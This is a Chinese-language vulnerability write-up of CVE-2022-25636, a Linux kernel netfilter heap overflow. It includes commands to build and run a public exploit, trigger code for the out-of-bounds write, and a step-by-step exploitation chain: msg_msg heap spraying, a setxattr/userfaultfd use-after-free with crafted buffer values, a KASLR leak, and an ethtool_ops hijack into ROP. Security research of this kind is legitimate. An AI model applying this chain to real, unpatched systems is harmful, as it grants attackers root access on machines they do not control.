CVE-2022-25636 netfilter内核提权

[toc]

漏洞简介

漏洞编号: CVE-2022-25636

漏洞产品: linux kernel - netfilter

影响版本: linux kernel 5.4 ~

漏洞危害: netfilter 内核模块中存在堆越界写，存在SYS_ADMIN时可以造成提权

环境搭建

漏洞存在于netfilter 内核模块中，漏洞所在代码在3个ko 中。

nft_dup_netdev.ko  
nf_dup_netdev.ko 
nf_tables.ko 

直接qemu 启动有问题，ko 装载不上，使用vmware双机联调。

ubuntu 21.10 可以手动替换内核：

apt-get install linux-image-5.13.0-30-generic

然后删除原本的内核，编译exp :

git clone https://github.com/Bonfee/CVE-2022-25636.git
apt-get install libmnl-dev
apt-get install libfuse-dev
apt-get install libnftnl-dev
make
./exploit

提权效果(成功率不到5成)：

漏洞原理

漏洞发生点

漏洞所在函数为nft_fwd_dup_netdev_offload:

linux\net\netfilter\nf_dup_netdev.c : 67 : nft_fwd_dup_netdev_offload

int nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
			       struct nft_flow_rule *flow,
			       enum flow_action_id id, int oif)
{
	struct flow_action_entry *entry;
	struct net_device *dev;

	/* nft_flow_rule_destroy() releases the reference on this device. */
	dev = dev_get_by_index(ctx->net, oif);
	if (!dev)
		return -EOPNOTSUPP;

	entry = &flow->rule->action.entries[ctx->num_actions++];//越界
	entry->id = id;
	entry->dev = dev;

	return 0;
}
EXPORT_SYMBOL_GPL(nft_fwd_dup_netdev_offload);

在设置flow->rule->action.entries(该结构体为变长结构体没有)时没有堆边界进行检查，导致越界写一个整数(4或5)和一个指针。

调用栈

函数的使用在 nft_flow_rule_create 函数中 ：

linux\net\netfilter\nf_tables_offload.c : 90 : nft_flow_rule_create

struct nft_flow_rule *nft_flow_rule_create(struct net *net,
					   const struct nft_rule *rule)
{
	struct nft_offload_ctx *ctx;
	struct nft_flow_rule *flow;
	int num_actions = 0, err;
	struct nft_expr *expr;

	expr = nft_expr_first(rule);
	while (nft_expr_more(rule, expr)) {//根据传入reule 的数量计算num_actions
		if (expr->ops->offload_flags & NFT_OFFLOAD_F_ACTION)
			num_actions++;// 只有带有NFT_OFFLOAD_F_ACTION 标记才计数

		expr = nft_expr_next(expr);
	}

	if (num_actions == 0)
		return ERR_PTR(-EOPNOTSUPP);

	flow = nft_flow_rule_alloc(num_actions);//根据num_actions 数量申请空间(变长结构体)
	if (!flow)
		return ERR_PTR(-ENOMEM);

	expr = nft_expr_first(rule);
	//ctx->num_actions 初始化为0 ↓
	ctx = kzalloc(sizeof(struct nft_offload_ctx), GFP_KERNEL);
	if (!ctx) {
		err = -ENOMEM;
		goto err_out;
	}
	ctx->net = net;
	ctx->dep.type = NFT_OFFLOAD_DEP_UNSPEC;

	while (nft_expr_more(rule, expr)) {
		if (!expr->ops->offload) {//根据rule数量调用offload
			err = -EOPNOTSUPP;
			goto err_out;
		}
		err = expr->ops->offload(ctx, flow, expr);//调用漏洞函数
		if (err < 0)
			goto err_out;

		expr = nft_expr_next(expr);
	}
	··· ···
    ··· ···
}

可以看到nft_flow_rule_create 函数根据用户空间传入的rule 结构数量来申请flow 结构体并进行处理。使用num_actions 变量来计数，但计数过程中只计算带有NFT_OFFLOAD_F_ACTION flag 标记的rule，并根据数量申请相应大小的结构体。后续调用offload 处理的时候，却没有使用num_actions 来进行循环。而是和之前一样进行rule 数量的次数的循环，但这里没有再进行flag的NFT_OFFLOAD_F_ACTION 判断。也就是说，当传入的rule 中有不带NFT_OFFLOAD_F_ACTION 标记的flag 的时候，后续调用offload 的次数是大于之前申请的flow->rule->action.entries 数量的，在offload 里会调用漏洞函数nft_fwd_dup_netdev_offload，每次调用ctx->num_actions 会加一，且ctx->num_actions 初始化为0，最后ctx->num_actions 会大于flow->rule->action.entries数组范围，造成越界。

一些结构体：

struct nft_flow_rule {
	__be16			proto;
	struct nft_flow_match	match;
	struct flow_rule	*rule;
};

struct flow_rule {
	struct flow_match	match;
	struct flow_action	action;
};

struct flow_action {
	unsigned int			num_entries;
	struct flow_action_entry	entries[];
};

struct flow_action_entry {
	enum flow_action_id		id;
	enum flow_action_hw_stats	hw_stats;
	action_destr			destructor;
	void				*destructor_priv;
	union {
		u32			chain_index;	/* FLOW_ACTION_GOTO */
		struct net_device	*dev;		/* FLOW_ACTION_REDIRECT */
		··· ···
	};
	struct flow_action_cookie *cookie; /* user defined action cookie */
};

struct nft_offload_ctx {
	struct {
		enum nft_offload_dep_type	type;
		__be16				l3num;
		u8				protonum;
	} dep;
	unsigned int				num_actions;
	struct net				*net;
	struct nft_offload_reg			regs[NFT_REG32_15 + 1];
};

调用栈：

• nft_flow_rule_create
  • nft_dup_netdev_offload/nft_fwd_netdev_offload
    • nft_fwd_dup_netdev_offload

netfilter的使用以及触发

参考链接：https://www.openwall.com/lists/oss-security/2022/02/21/2

该邮件说明了如何用C语言的libmnl和libnftnl 库来使用netfilter，主要触发漏洞的点在于添加的rule是否存在NFT_OFFLOAD_F_ACTION flag 标记。只有nftnl_expr_alloc("immediate"); 添加的rule才有NFT_OFFLOAD_F_ACTION 标记：

for(int i = 0; i < legit_writes; i++) {//如下添加expr 不会越界
    exprs[exprid] = nftnl_expr_alloc("immediate");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DREG, NFT_REG_1);
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DATA, 1);
    nftnl_rule_add_expr(rule, exprs[exprid]);
    exprid++;
    exprs[exprid] = nftnl_expr_alloc("dup");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
    nftnl_rule_add_expr(rule, exprs[exprid]);
    exprid++;
}
//如下添加expr 会越界
for (int unaccounted_dup = 0; unaccounted_dup < oob_writes; unaccounted_dup++) {
    exprs[exprid] = nftnl_expr_alloc("dup");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
    nftnl_rule_add_expr(rule, exprs[exprid]);
    exprid++;
}

漏洞利用

漏洞利用不是很稳定，但利用技术很精妙，漏洞是越界固定偏移的位置写一个不可控指针，个人认为利用难度非常高。简单分析一下技术手法把。根据漏洞的代码，可以知道，每次越界只能写一个整数(id，固定为4或5)和一个指针(*dev)，其中指针指向struct net_device 结构体。我们这里只关注dev 指针写:

int nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
			       struct nft_flow_rule *flow,
			       enum flow_action_id id, int oif)
{
	··· ···
	entry = &flow->rule->action.entries[ctx->num_actions++];//越界
	entry->id = id;
	entry->dev = dev; //固定偏移写一个堆地址，dev 为struct net_device 结构体
	··· ···
}

关于 struct flow_rule 结构体，由于是一个变长结构体，所以他能申请到的大小范围关乎到能否利用(成功)

• 当只传入一个rule 的时候，该结构体大小为0x70，属于kmalloc-128(0x80) ，如果发生越界，则dev 指针会写到0x88 的位置，也就是越界0x8处
• 如果传入两个rule，则结构体大小为0xC0，正好属于kmalloc-192(0xC0)，如果发生越界，dev 指针会写到0xd8的位置，也就是越界0x18处，越界两次会在越界0x18 +0x50的地方...

相关结构体：

struct flow_rule {
	struct flow_match	match;
	struct flow_action	action;
};

struct flow_match {
	struct flow_dissector	*dissector;
	void			*mask;
	void			*key;
};

struct flow_dissector {
	unsigned int used_keys; /* each bit repesents presence of one key id */
	unsigned short int offset[FLOW_DISSECTOR_KEY_MAX];
};

struct flow_action {
	unsigned int			num_entries;
	struct flow_action_entry	entries[];
};

struct flow_action_entry {//大小0x50
	enum flow_action_id		id;
	enum flow_action_hw_stats	hw_stats;
	action_destr			destructor;
	void				*destructor_priv;
	union {
		u32			chain_index;	/* FLOW_ACTION_GOTO */
		struct net_device	*dev;		/* FLOW_ACTION_REDIRECT */
		··· ···
	};
	struct flow_action_cookie *cookie; /* user defined action cookie */
};

泄露内核net_device结构体地址

进入漏洞利用，首先要泄露两次*dev 的地址，由于要泄露两个不同的dev地址，所以一个在本进程泄露，一个在子进程泄露。使用msg_msg 来泄露(msg_msg技术回顾)，堆喷大小为0x1040 的msg，这样由于msg 的结构，会分成两段，第二段msg 长度为0x70，加上头指针，会申请到kamalloc-128，然后释放一个msg，释放掉一个kmalloc-128。接下来使用只有一个rule 的flow_rule结构体，正好也是kmalloc-128，希望能申请到刚刚释放的msg 的第二段kmalloc-128组成如下的堆造型：

让flow_rule申请到释放的msg_msgseg结构后，大概率挨着其他堆喷的msg_msgseg，这样发生一次越界写，会在越界0x8的位置写一个net_device堆指针(dev指针)。只需要把刚堆喷的消息全接收一遍，就可以读到这个堆指针，完成地址泄露，用于后续利用，并且不会崩溃。

setxattr来UAF泄露kaslr

接下来泄露kaslr，获得内核基址。用同样的方法，使用msg_msg+堆喷，堆喷一堆kmalloc-192 的msg，这回使用的是msg_msg 第一段作为堆喷目标。然后跟之前的方法相同，释放一个，然后申请flow_rule，争取构成如下堆造型：

这次使用的是带两个rule 的flow_rule 结构，大小为0xC0，正好属于kmalloc-192，如果越界写6次，会在越界0x18+0x50*5的地方写一个* dev指针，正好是下面第三个kmalloc-192 的偏移0x28 的地方，如果是msg_msg 结构体的话，就是security指针，这时如果使用msgrcv 函数释放这个msg_msg 结构体，他就会调用kfree，释放security指针指向的内容，这也是msg_msg->security 的任意地址释放源语，相关代码如下：

static long do_msgrcv(int msqid, void __user *buf, size_t bufsz, long msgtyp, int msgflg,
	       long (*msg_handler)(void __user *, struct msg_msg *, size_t))
{		
    ··· ···
    ··· ···
	free_msg(msg); 			
	··· ···
}

void free_msg(struct msg_msg *msg)
{
	··· ···
	security_msg_msg_free(msg);
	··· ···
}

void security_msg_msg_free(struct msg_msg *msg)
{
	call_void_hook(msg_msg_free_security, msg);
	kfree(msg->security);
	msg->security = NULL;
}

这样，对刚刚堆喷的消息进行接收操作，就会将我们覆盖security 的dev 指针释放掉，也就是释放掉net_device 结构体。接下来使用setxattr+userfaulted来尝试对该堆块进行篡改，完成UAF。setxattr 可以申请任意大小的内核堆，并写入任意内容，然后释放。内核漏洞利用的常见手段。

由于现在kernel中 free状态的kmalloc-192 有很多，只是用一次setxattr肯定是不够的，所以采用多线程同时调用setxattr，并且利用userfaulted 增加调用时间，增加堆块占用时间，争取申请更多内核堆，进而申请到刚释放的net_device 结构体。申请到就可以修改net_device结构体的内容了，修改里面的dev_addr 指针为netdev_ops 指针，因为netdev_ops 会初始化为loopback_ops，然后改一些名字之类的用来判断是否修改成功：

    ((uint64_t*)(setxattr_bufs[i]))[2] = 0x6f6c; // dev->name = "lo"
    ((uint64_t*)(setxattr_bufs[i]))[104] = child_net_device_leak + 0xc8; // set dev_addr ptr
    ((uint64_t*)(setxattr_bufs[i]))[78] = 0x0808080800000000; // set addr_len to '0x08'
    ((uint64_t*)(setxattr_bufs[i]))[28] = 0x42424242; // ifindex

接下来只要调用socket 的ioctl 的SIOCGIFHWADDR 功能 读取物理地址，就可以读取到loopback_ops 的地址完成泄露。net_device 一些有用的成员如下：

struct net_device {
	char			name[IFNAMSIZ]; //修改name判断是否改正确
	··· ···
	const struct net_device_ops *netdev_ops;//初始化为，用于泄露内核地址
	int			ifindex;   
	·· ···
	const struct  ethtool_ops *ethtool_ops; //用于劫持rip
	··· ···
	unsigned char		addr_len; //用于读取地址长度
	··· ···
	unsigned char		*dev_addr; //篡改用于泄露地址，被SIOCGIFHWADDR 读取
};

二次UAF完成内核rop

同样的办法使用setxattr+userfaulted完成UAF，这次我们有了内核地址之后，直接篡改net_device 的ethtool_ops 劫持eip，之后使用socket 的iotl 的SIOCETHTOOL功能，就会调用ethtool_ops 中的函数劫持rip，然后ROP即可。在ubuntu21.10 内核版本13.0-30 复现成功：

exp:https://github.com/Bonfee/CVE-2022-25636

参考

邮件：https://www.openwall.com/lists/oss-security/2022/02/21/2

作者文档：https://nickgregory.me/linux/security/2022/03/12/cve-2022-25636/

exp：https://github.com/Bonfee/CVE-2022-25636